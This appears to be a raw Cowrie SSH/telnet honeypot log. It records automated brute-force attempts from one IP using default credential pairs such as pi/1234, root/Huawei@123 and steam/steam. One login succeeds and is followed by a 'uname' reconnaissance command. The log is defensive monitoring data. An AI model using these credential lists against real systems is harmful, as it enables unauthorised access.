{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:05.591126Z","src_ip":"45.156.87.253","session":"3a28719688b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:05.671534Z","src_ip":"45.156.87.253","session":"3a28719688b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:05.913787Z","src_ip":"45.156.87.253","session":"3a28719688b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:06.997690Z","src_ip":"45.156.87.253","session":"3a28719688b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7683791e9f0","protocol":"ssh","message":"New connection: 45.156.87.253:53136 (10.17.0.5:22) [session: b7683791e9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:08.468994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:08.472429Z","src_ip":"45.156.87.253","session":"b7683791e9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:08.558663Z","src_ip":"45.156.87.253","session":"b7683791e9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:08.802021Z","src_ip":"45.156.87.253","session":"b7683791e9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:09.920845Z","src_ip":"45.156.87.253","session":"b7683791e9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48362,"dst_ip":"10.17.0.5","dst_port":22,"session":"41ac54799b4c","protocol":"ssh","message":"New connection: 45.156.87.253:48362 (10.17.0.5:22) [session: 41ac54799b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:11.355653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:11.359731Z","src_ip":"45.156.87.253","session":"41ac54799b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:11.440294Z","src_ip":"45.156.87.253","session":"41ac54799b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:11.682441Z","src_ip":"45.156.87.253","session":"41ac54799b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:12.765614Z","src_ip":"45.156.87.253","session":"41ac54799b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48368,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6cb10826b8","protocol":"ssh","message":"New connection: 45.156.87.253:48368 (10.17.0.5:22) [session: 0e6cb10826b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:14.231623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:14.235471Z","src_ip":"45.156.87.253","session":"0e6cb10826b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:14.317663Z","src_ip":"45.156.87.253","session":"0e6cb10826b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:14.624205Z","src_ip":"45.156.87.253","session":"0e6cb10826b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:15.707955Z","src_ip":"45.156.87.253","session":"0e6cb10826b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48376,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d4549d30d23","protocol":"ssh","message":"New connection: 45.156.87.253:48376 (10.17.0.5:22) [session: 4d4549d30d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.297882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.301327Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.381170Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.621513Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.822392Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.825126Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.908048Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:17.912127Z","src_ip":"45.156.87.253","session":"4d4549d30d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.02635860443115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:18.917784Z","src_ip":"107.6.151.170","session":"e94768bba34d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44440,"dst_ip":"10.17.0.5","dst_port":22,"session":"03acd420fbf9","protocol":"ssh","message":"New connection: 45.156.87.253:44440 (10.17.0.5:22) [session: 03acd420fbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:20.151694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:20.155890Z","src_ip":"45.156.87.253","session":"03acd420fbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:20.236103Z","src_ip":"45.156.87.253","session":"03acd420fbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:20.478174Z","src_ip":"45.156.87.253","session":"03acd420fbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:21.564122Z","src_ip":"45.156.87.253","session":"03acd420fbf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44464,"dst_ip":"10.17.0.5","dst_port":22,"session":"b33fefc8e01b","protocol":"ssh","message":"New connection: 45.156.87.253:44464 (10.17.0.5:22) [session: b33fefc8e01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:23.018140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:23.021115Z","src_ip":"45.156.87.253","session":"b33fefc8e01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:23.100696Z","src_ip":"45.156.87.253","session":"b33fefc8e01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"user","message":"login attempt [www/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:23.340384Z","src_ip":"45.156.87.253","session":"b33fefc8e01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:24.423403Z","src_ip":"45.156.87.253","session":"b33fefc8e01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44482,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7c3cc1191aa","protocol":"ssh","message":"New connection: 45.156.87.253:44482 (10.17.0.5:22) [session: d7c3cc1191aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:25.873609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:25.877811Z","src_ip":"45.156.87.253","session":"d7c3cc1191aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:25.959412Z","src_ip":"45.156.87.253","session":"d7c3cc1191aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:26.290267Z","src_ip":"45.156.87.253","session":"d7c3cc1191aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78261184692383,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:26.987298Z","src_ip":"115.160.92.142","session":"3b0a896449ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":57300,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6f5d43fa948","protocol":"telnet","message":"New connection: 115.160.92.142:57300 (159.203.135.109:23) [session: d6f5d43fa948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:27.165920Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:27.377400Z","src_ip":"45.156.87.253","session":"d7c3cc1191aa","protocol":"ssh"}
